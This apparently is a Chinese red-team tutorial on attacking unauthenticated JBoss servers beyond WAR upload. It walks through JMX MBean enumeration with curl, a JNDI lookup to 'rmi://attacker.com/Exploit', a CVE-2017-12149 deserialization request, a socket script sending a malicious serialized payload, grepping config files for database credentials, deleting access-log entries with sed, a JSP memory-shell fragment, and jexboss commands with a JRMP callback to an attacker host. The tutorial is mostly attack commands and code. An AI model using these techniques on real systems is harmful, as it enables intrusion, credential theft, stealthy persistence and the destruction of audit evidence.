从攻击者视角看JBoss未授权:除了上传War包,还能怎么玩?
红队视角下的JBoss攻击面拓展:超越War包部署的实战技法
当渗透测试人员发现JBoss存在未授权访问漏洞时,大多数人的第一反应往往是上传War包获取Shell。但真正的红队选手会思考:这个管理控制台还能怎么玩?本文将带你跳出常规思维,探索JBoss未授权访问后的高阶攻击手法。
1. JMX控制台的隐藏攻击面
JMX控制台远不止War包部署这一个攻击点。成熟的攻击者会先进行全面侦察,识别所有可能的攻击路径。
1.1 服务操作枚举技术
通过JMX控制台的MBean操作界面,可以枚举出大量危险操作:
# 使用curl快速枚举可调用的MBean方法 curl -s "http://target:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo" | grep -oP 'methodName="\K[^"]+'关键危险方法示例:
| MBean路径 | 危险方法 | 潜在影响 |
|---|---|---|
| jboss.system:type=ServerInfo | shutdown | 导致服务宕机 |
| jboss.deployment:type=DeploymentScanner | addURL | 部署恶意应用 |
| jboss.jca:name=DefaultDS,service=ManagedConnectionPool | flushAllConnection | 数据库连接池攻击 |
1.2 JNDI注入点挖掘
JBoss的JNDI服务常存在注入漏洞,特别是在4.x及以下版本中:
// 利用JNDI引用进行远程类加载 InitialContext ctx = new InitialContext(); ctx.lookup("rmi://attacker.com/Exploit");实战技巧:
- 检查
jboss:service=NamingMBean中的绑定项 - 利用
listBindings()方法枚举所有JNDI条目 - 重点关注RMI和LDAP协议绑定的服务
2. 反序列化漏洞组合利用
单独利用未授权访问可能受限,但结合反序列化漏洞往往能实现权限提升。
2.1 CVE-2017-12149深度利用
这个经典的JBoss反序列化漏洞在红队实战中有多种玩法:
POST /invoker/JMXInvokerServlet HTTP/1.1 Host: target:8080 Content-Type: application/x-java-serialized-object [序列化的恶意对象]绕过技巧:
- 使用CommonsCollections不同链(3.1/4.0)
- 结合内存马注入避免文件落地
- 修改HTTP头字段规避WAF检测
2.2 EJB远程调用攻击
通过EJB接口可以实现更隐蔽的持久化控制:
# EjbInvoker利用脚本示例 import socket target = ("192.168.1.100", 3873) sock = socket.socket() sock.connect(target) sock.send(serialized_malicious_payload)3. 横向移动技术
获取初步立足点后,红队需要思考如何扩大战果。
3.1 数据库凭证提取
JBoss配置文件中常含有数据库连接信息:
# 从配置文件提取敏感信息 find / -name "*-ds.xml" -exec grep -i "jdbc:" {} \;典型信息泄露路径:
server/default/conf/*-ds.xml- JMX控制台中的DataSource配置
- 部署应用中的WEB-INF/web.xml
3.2 集群节点攻击
在JBoss集群环境中,控制一个节点可能意味着控制整个集群:
GET /web-console/ServerInfo.jsp HTTP/1.1 Host: target:8080集群攻击步骤:
- 通过节点状态页面识别其他成员
- 利用分布式缓存机制传播payload
- 通过集群通信端口(默认7600)直接攻击
4. 防御规避与持久化
成熟的攻击者会尽量减少被发现的可能性。
4.1 日志清理技术
JBoss的日志位置和清理方法:
# 定位日志文件 find / -path "*jboss*" -name "*.log" # 使用sed清理特定访问记录 sed -i '/192.168.1.50/d' server/default/log/access_log4.2 内存马注入
相比文件上传,内存马更难被检测:
// JSP内存马示例 <%@ page import="java.lang.reflect.*,java.util.*"%> <% Field f = request.getClass().getDeclaredField("request"); f.setAccessible(true); Object req = f.get(request); Method m = req.getClass().getMethod("getResponse"); Object res = m.invoke(req); %>持久化技巧:
- 修改Filter链动态注册恶意Filter
- 利用JBoss的热部署特性保持内存马
- 注入到公共静态变量中实现长期驻留
5. 工具与自动化利用
虽然手动利用很有价值,但实战中效率至关重要。
5.1 Jexboss的高级参数
除了基本检测,Jexboss还有许多隐藏功能:
# 使用自定义反序列化链 python jexboss.py -u http://target --ysoserial-command "JRMPClient attacker:1099" # 指定特定漏洞利用 python jexboss.py -u http://target --exploit jmx-console5.2 自定义漏洞利用框架
构建自动化攻击流程的推荐模块:
# 伪代码示例 class JBossExploit: def __init__(self, target): self.session = requests.Session() self.target = target def check_vuln(self): # 自动化漏洞检测逻辑 pass def deploy_war(self): # War包部署自动化 pass def jndi_inject(self): # JNDI注入实现 pass在真实渗透测试中,我曾遇到一个加固的JBoss实例,常规War包部署被拦截。通过分析发现其JMX控制台虽然做了IP限制,但EJB接口仍然开放。最终通过结合CVE-2017-12149和自定义的JRMP监听器成功获取了系统权限。
